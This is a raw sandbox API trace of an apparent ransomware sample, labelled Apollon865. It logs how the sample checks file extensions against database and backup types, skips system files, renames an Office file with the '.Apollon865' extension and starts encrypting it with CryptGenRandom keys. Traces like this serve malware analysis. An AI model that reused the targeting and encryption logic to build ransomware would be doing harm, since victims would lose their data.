	[0065.852] lstrlenW (lpString="ade") returned 3
	[0065.853] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0065.853] lstrlenW (lpString="adf") returned 3
	[0065.853] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0065.853] lstrlenW (lpString="adn") returned 3
	[0065.853] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0065.853] lstrlenW (lpString="adp") returned 3
	[0065.853] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0065.853] lstrlenW (lpString="alf") returned 3
	[0065.853] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0065.853] lstrlenW (lpString="ask") returned 3
	[0065.853] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0065.853] lstrlenW (lpString="btr") returned 3
	[0065.853] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0065.853] lstrlenW (lpString="cat") returned 3
	[0065.853] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0065.853] lstrlenW (lpString="cdb") returned 3
	[0065.853] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0065.853] lstrlenW (lpString="ckp") returned 3
	[0065.853] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0065.853] lstrlenW (lpString="cma") returned 3
	[0065.853] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0065.853] lstrlenW (lpString="cpd") returned 3
	[0065.853] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0065.853] lstrlenW (lpString="dacpac") returned 6
	[0065.853] lstrcmpiW (lpString1="ml.dll", lpString2="dacpac") returned 1
	[0065.853] lstrlenW (lpString="dad") returned 3
	[0065.853] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0065.853] lstrlenW (lpString="dadiagrams") returned 10
	[0065.853] lstrcmpiW (lpString1="th.Xml.dll", lpString2="dadiagrams") returned 1
	[0065.853] lstrlenW (lpString="daschema") returned 8
	[0065.853] lstrcmpiW (lpString1=".Xml.dll", lpString2="daschema") returned -1
	[0065.853] lstrlenW (lpString="db-journal") returned 10
	[0065.853] lstrcmpiW (lpString1="th.Xml.dll", lpString2="db-journal") returned 1
	[0065.854] lstrlenW (lpString="db-shm") returned 6
	[0065.854] lstrcmpiW (lpString1="ml.dll", lpString2="db-shm") returned 1
	[0065.854] lstrlenW (lpString="db-wal") returned 6
	[0065.854] lstrcmpiW (lpString1="ml.dll", lpString2="db-wal") returned 1
	[0065.854] lstrlenW (lpString="dbc") returned 3
	[0065.854] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0065.854] lstrlenW (lpString="dbs") returned 3
	[0065.854] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0065.854] lstrlenW (lpString="dbt") returned 3
	[0065.854] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0065.854] lstrlenW (lpString="dbv") returned 3
	[0065.854] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0065.854] lstrlenW (lpString="dbx") returned 3
	[0065.854] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0065.854] lstrlenW (lpString="dcb") returned 3
	[0065.854] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0065.854] lstrlenW (lpString="dct") returned 3
	[0065.854] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0065.854] lstrlenW (lpString="dcx") returned 3
	[0065.854] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0065.854] lstrlenW (lpString="ddl") returned 3
	[0065.854] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0065.854] lstrlenW (lpString="dlis") returned 4
	[0065.854] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1
	[0065.854] lstrlenW (lpString="dp1") returned 3
	[0065.854] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0065.854] lstrlenW (lpString="dqy") returned 3
	[0065.854] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0065.854] lstrlenW (lpString="dsk") returned 3
	[0065.854] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0065.854] lstrlenW (lpString="dsn") returned 3
	[0065.854] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0065.854] lstrlenW (lpString="dtsx") returned 4
	[0065.854] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1
	[0065.855] lstrlenW (lpString="dxl") returned 3
	[0065.855] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0065.855] lstrlenW (lpString="eco") returned 3
	[0065.855] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0065.855] lstrlenW (lpString="ecx") returned 3
	[0065.855] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0065.855] lstrlenW (lpString="edb") returned 3
	[0065.855] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0065.855] lstrlenW (lpString="epim") returned 4
	[0065.855] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1
	[0065.855] lstrlenW (lpString="fcd") returned 3
	[0065.855] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0065.855] lstrlenW (lpString="fdb") returned 3
	[0065.855] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0065.855] lstrlenW (lpString="fic") returned 3
	[0065.855] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0065.855] lstrlenW (lpString="flexolibrary") returned 12
	[0065.855] lstrcmpiW (lpString1="Path.Xml.dll", lpString2="flexolibrary") returned 1
	[0065.855] lstrlenW (lpString="fm5") returned 3
	[0065.855] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0065.855] lstrlenW (lpString="fmp") returned 3
	[0065.855] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0065.855] lstrlenW (lpString="fmp12") returned 5
	[0065.855] lstrcmpiW (lpString1="l.dll", lpString2="fmp12") returned 1
	[0065.855] lstrlenW (lpString="fmpsl") returned 5
	[0065.855] lstrcmpiW (lpString1="l.dll", lpString2="fmpsl") returned 1
	[0065.855] lstrlenW (lpString="fol") returned 3
	[0065.855] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0065.855] lstrlenW (lpString="fp3") returned 3
	[0065.855] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0065.855] lstrlenW (lpString="fp4") returned 3
	[0065.855] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0065.855] lstrlenW (lpString="fp5") returned 3
	[0065.855] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0065.856] lstrlenW (lpString="fp7") returned 3
	[0065.856] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0065.856] lstrlenW (lpString="fpt") returned 3
	[0065.856] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0065.856] lstrlenW (lpString="frm") returned 3
	[0065.856] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0065.856] lstrlenW (lpString="gdb") returned 3
	[0065.856] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0065.856] lstrlenW (lpString="gdb") returned 3
	[0065.856] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0065.856] lstrlenW (lpString="grdb") returned 4
	[0065.856] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1
	[0065.856] lstrlenW (lpString="gwi") returned 3
	[0065.856] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0065.856] lstrlenW (lpString="hdb") returned 3
	[0065.856] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0065.856] lstrlenW (lpString="his") returned 3
	[0065.856] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0065.856] lstrlenW (lpString="ib") returned 2
	[0065.856] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0065.856] lstrlenW (lpString="idb") returned 3
	[0065.856] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0065.856] lstrlenW (lpString="ihx") returned 3
	[0065.856] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0065.856] lstrlenW (lpString="itdb") returned 4
	[0065.856] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1
	[0065.856] lstrlenW (lpString="itw") returned 3
	[0065.856] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0065.856] lstrlenW (lpString="jet") returned 3
	[0065.856] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0065.856] lstrlenW (lpString="jtx") returned 3
	[0065.856] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0065.856] lstrlenW (lpString="kdb") returned 3
	[0065.856] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0065.856] lstrlenW (lpString="kexi") returned 4
	[0065.857] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1
	[0065.857] lstrlenW (lpString="kexic") returned 5
	[0065.857] lstrcmpiW (lpString1="l.dll", lpString2="kexic") returned 1
	[0065.857] lstrlenW (lpString="kexis") returned 5
	[0065.857] lstrcmpiW (lpString1="l.dll", lpString2="kexis") returned 1
	[0065.857] lstrlenW (lpString="lgc") returned 3
	[0065.857] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0065.857] lstrlenW (lpString="lwx") returned 3
	[0065.857] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0065.857] lstrlenW (lpString="maf") returned 3
	[0065.857] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0065.857] lstrlenW (lpString="maq") returned 3
	[0065.857] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0065.857] lstrlenW (lpString="mar") returned 3
	[0065.857] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0065.857] lstrlenW (lpString="marshal") returned 7
	[0065.857] lstrcmpiW (lpString1="Xml.dll", lpString2="marshal") returned 1
	[0065.857] lstrlenW (lpString="mas") returned 3
	[0065.857] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0065.857] lstrlenW (lpString="mav") returned 3
	[0065.857] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0065.857] lstrlenW (lpString="maw") returned 3
	[0065.857] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0065.857] lstrlenW (lpString="mdbhtml") returned 7
	[0065.857] lstrcmpiW (lpString1="Xml.dll", lpString2="mdbhtml") returned 1
	[0065.857] lstrlenW (lpString="mdn") returned 3
	[0065.857] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0065.857] lstrlenW (lpString="mdt") returned 3
	[0065.857] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0065.857] lstrlenW (lpString="mfd") returned 3
	[0065.857] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0065.857] lstrlenW (lpString="mpd") returned 3
	[0065.857] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0065.858] lstrlenW (lpString="mrg") returned 3
	[0065.858] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0065.858] lstrlenW (lpString="mud") returned 3
	[0065.858] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0065.858] lstrlenW (lpString="mwb") returned 3
	[0065.858] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0065.858] lstrlenW (lpString="myd") returned 3
	[0065.858] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0065.858] lstrlenW (lpString="ndf") returned 3
	[0065.858] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0065.858] lstrlenW (lpString="nnt") returned 3
	[0065.858] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0065.858] lstrlenW (lpString="nrmlib") returned 6
	[0065.858] lstrcmpiW (lpString1="ml.dll", lpString2="nrmlib") returned -1
	[0065.858] lstrlenW (lpString="ns2") returned 3
	[0065.858] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0065.858] lstrlenW (lpString="ns3") returned 3
	[0065.858] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0065.858] lstrlenW (lpString="ns4") returned 3
	[0065.858] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0065.858] lstrlenW (lpString="nsf") returned 3
	[0065.858] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0065.858] lstrlenW (lpString="nv") returned 2
	[0065.858] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0065.858] lstrlenW (lpString="nv2") returned 3
	[0065.858] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0065.858] lstrlenW (lpString="nwdb") returned 4
	[0065.858] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1
	[0065.858] lstrlenW (lpString="nyf") returned 3
	[0065.858] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0065.858] lstrlenW (lpString="odb") returned 3
	[0065.858] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0065.858] lstrlenW (lpString="odb") returned 3
	[0065.859] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0065.859] lstrlenW (lpString="oqy") returned 3
	[0065.859] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0065.859] lstrlenW (lpString="ora") returned 3
	[0065.859] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0065.859] lstrlenW (lpString="orx") returned 3
	[0065.859] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0065.859] lstrlenW (lpString="owc") returned 3
	[0065.859] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0065.859] lstrlenW (lpString="p96") returned 3
	[0065.859] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0065.859] lstrlenW (lpString="p97") returned 3
	[0065.859] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0065.859] lstrlenW (lpString="pan") returned 3
	[0065.859] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0065.859] lstrlenW (lpString="pdb") returned 3
	[0065.859] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0065.859] lstrlenW (lpString="pdm") returned 3
	[0065.859] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0065.859] lstrlenW (lpString="pnz") returned 3
	[0065.859] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0065.859] lstrlenW (lpString="qry") returned 3
	[0065.859] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0065.859] lstrlenW (lpString="qvd") returned 3
	[0065.859] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0065.859] lstrlenW (lpString="rbf") returned 3
	[0065.859] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0065.859] lstrlenW (lpString="rctd") returned 4
	[0065.859] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1
	[0065.859] lstrlenW (lpString="rod") returned 3
	[0065.859] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0065.859] lstrlenW (lpString="rodx") returned 4
	[0065.859] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1
	[0065.859] lstrlenW (lpString="rpd") returned 3
	[0065.860] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0065.860] lstrlenW (lpString="rsd") returned 3
	[0065.860] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0065.860] lstrlenW (lpString="sas7bdat") returned 8
	[0065.860] lstrcmpiW (lpString1=".Xml.dll", lpString2="sas7bdat") returned -1
	[0065.860] lstrlenW (lpString="sbf") returned 3
	[0065.860] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0065.860] lstrlenW (lpString="scx") returned 3
	[0065.860] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0065.860] lstrlenW (lpString="sdb") returned 3
	[0065.860] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0065.860] lstrlenW (lpString="sdc") returned 3
	[0065.860] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0065.860] lstrlenW (lpString="sdf") returned 3
	[0065.860] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0065.860] lstrlenW (lpString="sis") returned 3
	[0065.860] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0065.860] lstrlenW (lpString="spq") returned 3
	[0065.860] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0065.860] lstrlenW (lpString="te") returned 2
	[0065.860] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0065.860] lstrlenW (lpString="teacher") returned 7
	[0065.860] lstrcmpiW (lpString1="Xml.dll", lpString2="teacher") returned 1
	[0065.860] lstrlenW (lpString="tmd") returned 3
	[0065.860] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0065.860] lstrlenW (lpString="tps") returned 3
	[0065.860] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0065.860] lstrlenW (lpString="trc") returned 3
	[0065.860] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0065.860] lstrlenW (lpString="trc") returned 3
	[0065.860] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0065.860] lstrlenW (lpString="trm") returned 3
	[0065.860] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0065.860] lstrlenW (lpString="udb") returned 3
	[0065.860] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0065.861] lstrlenW (lpString="udl") returned 3
	[0065.861] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0065.861] lstrlenW (lpString="usr") returned 3
	[0065.861] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0065.861] lstrlenW (lpString="v12") returned 3
	[0065.861] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0065.861] lstrlenW (lpString="vis") returned 3
	[0065.861] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0065.861] lstrlenW (lpString="vpd") returned 3
	[0065.861] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0065.861] lstrlenW (lpString="vvv") returned 3
	[0065.861] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0065.861] lstrlenW (lpString="wdb") returned 3
	[0065.861] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0065.861] lstrlenW (lpString="wmdb") returned 4
	[0065.861] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1
	[0065.861] lstrlenW (lpString="wrk") returned 3
	[0065.861] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0065.861] lstrlenW (lpString="xdb") returned 3
	[0065.861] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0065.861] lstrlenW (lpString="xld") returned 3
	[0065.861] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0065.861] lstrlenW (lpString="xmlff") returned 5
	[0065.861] lstrcmpiW (lpString1="l.dll", lpString2="xmlff") returned -1
	[0065.861] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62def200, ftCreationTime.dwHighDateTime=0x1c9bc30, ftLastAccessTime.dwLowDateTime=0x65d38290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62def200, ftLastWriteTime.dwHighDateTime=0x1c9bc30, nFileSizeHigh=0x0, nFileSizeLow=0x837d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.Xml.xml", cAlternateFileName="MI4026~1.XML")) returned 1
	[0065.861] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.861] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="Apollon865.txt.exe") returned 1
	[0065.861] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2=".") returned 1
	[0065.861] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="..") returned 1
	[0065.861] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="windows") returned -1
	[0065.861] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="bootmgr") returned 1
	[0065.861] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="temp") returned -1
	[0065.862] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="pagefile.sys") returned -1
	[0065.862] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="boot") returned 1
	[0065.862] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="ids.txt") returned 1
	[0065.862] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="ntuser.dat") returned -1
	[0065.862] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="perflogs") returned -1
	[0065.862] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="MSBuild") returned -1
	[0065.862] lstrlenW (lpString="Microsoft.Office.Interop.InfoPath.Xml.xml") returned 41
	[0065.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.dll") returned 84
	[0065.862] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Microsoft.Office.Interop.InfoPath.Xml.xml" | out: lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml") returned="Microsoft.Office.Interop.InfoPath.Xml.xml"
	[0065.862] lstrlenW (lpString="Microsoft.Office.Interop.InfoPath.Xml.xml") returned 41
	[0065.862] lstrlenW (lpString="Apollon865") returned 10
	[0065.862] lstrcmpiW (lpString1="th.Xml.xml", lpString2="Apollon865") returned 1
	[0065.862] lstrlenW (lpString=".dll") returned 4
	[0065.862] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2=".dll") returned 1
	[0065.862] lstrlenW (lpString=".lnk") returned 4
	[0065.862] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2=".lnk") returned 1
	[0065.862] lstrlenW (lpString=".ini") returned 4
	[0065.862] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2=".ini") returned 1
	[0065.862] lstrlenW (lpString=".sys") returned 4
	[0065.862] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2=".sys") returned 1
	[0065.862] lstrlenW (lpString="Microsoft.Office.Interop.InfoPath.Xml.xml") returned 41
	[0065.862] lstrlenW (lpString="bak") returned 3
	[0065.862] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0065.862] lstrlenW (lpString="ba_") returned 3
	[0065.862] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0065.862] lstrlenW (lpString="dbb") returned 3
	[0065.862] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0065.862] lstrlenW (lpString="vmdk") returned 4
	[0065.862] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0065.862] lstrlenW (lpString="rar") returned 3
	[0065.862] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0065.862] lstrlenW (lpString="zip") returned 3
	[0065.862] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0065.862] lstrlenW (lpString="tgz") returned 3
	[0065.863] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0065.863] lstrlenW (lpString="vbox") returned 4
	[0065.863] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0065.863] lstrlenW (lpString="vdi") returned 3
	[0065.863] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0065.863] lstrlenW (lpString="vhd") returned 3
	[0065.863] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0065.863] lstrlenW (lpString="vhdx") returned 4
	[0065.863] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0065.863] lstrlenW (lpString="avhd") returned 4
	[0065.863] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0065.863] lstrlenW (lpString="db") returned 2
	[0065.863] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0065.863] lstrlenW (lpString="db2") returned 3
	[0065.863] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0065.863] lstrlenW (lpString="db3") returned 3
	[0065.863] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0065.863] lstrlenW (lpString="dbf") returned 3
	[0065.863] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0065.863] lstrlenW (lpString="mdf") returned 3
	[0065.863] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0065.863] lstrlenW (lpString="mdb") returned 3
	[0065.863] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0065.863] lstrlenW (lpString="sql") returned 3
	[0065.863] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0065.863] lstrlenW (lpString="sqlite") returned 6
	[0065.863] lstrcmpiW (lpString1="ml.xml", lpString2="sqlite") returned -1
	[0065.863] lstrlenW (lpString="sqlite3") returned 7
	[0065.863] lstrcmpiW (lpString1="Xml.xml", lpString2="sqlite3") returned 1
	[0065.863] lstrlenW (lpString="sqlitedb") returned 8
	[0065.863] lstrcmpiW (lpString1=".Xml.xml", lpString2="sqlitedb") returned -1
	[0065.863] lstrlenW (lpString="xml") returned 3
	[0065.864] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0065.864] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml.Apollon865") returned 95
	[0065.864] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.xml.apollon865"), dwFlags=0x1) returned 1
	[0065.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0065.912] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=538583) returned 1
	[0065.912] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0065.915] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0065.916] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0065.916] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf5f0) returned 1
	[0065.916] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.916] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0065.917] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x83ae0, lpName=0x0) returned 0x14c
	[0065.920] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x83ae0) returned 0x210000
	[0065.943] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf5f0) returned 1
	[0065.944] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.944] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0065.944] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0065.944] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0065.944] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.944] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.944] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.944] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.944] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
